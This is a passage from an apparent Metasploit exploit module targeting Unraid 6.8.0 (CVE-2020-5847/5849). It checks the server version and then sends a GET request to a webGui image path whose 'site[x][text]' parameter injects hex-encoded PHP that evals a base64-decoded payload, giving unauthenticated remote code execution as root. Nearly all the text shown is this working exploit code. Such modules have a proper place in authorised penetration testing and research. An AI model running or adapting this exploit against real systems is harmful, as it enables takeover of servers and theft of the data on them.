            [ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
            [ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
          ],
        'License' => MSF_LICENSE,
        'Platform' => ['php'],
        'Privileged' => true,
        'Arch' => ARCH_PHP,
        'Targets' =>
          [
            [ 'Automatic', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Feb 10 2020'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
      'method' => 'GET'
    )

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200
      return CheckCode::Safe('Unexpected reply')
    end

    /\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})&nbsp;/ =~ res.body

    if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
      return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
    end

    CheckCode::Safe
  end

  def exploit
    begin
      vprint_status('Sending exploit code')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
        'method' => 'GET',
        'encode_params' => false,
        'vars_get' =>
        {
          'path' => 'x',
          'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
        }
      )

      if res.nil?
        print_good('Request timed out, OK if running a non-forking/blocking payload...')
      elsif res.code == 302
        fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
      else
        print_warning("Unexpected response code #{res.code}, please check your payload.")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end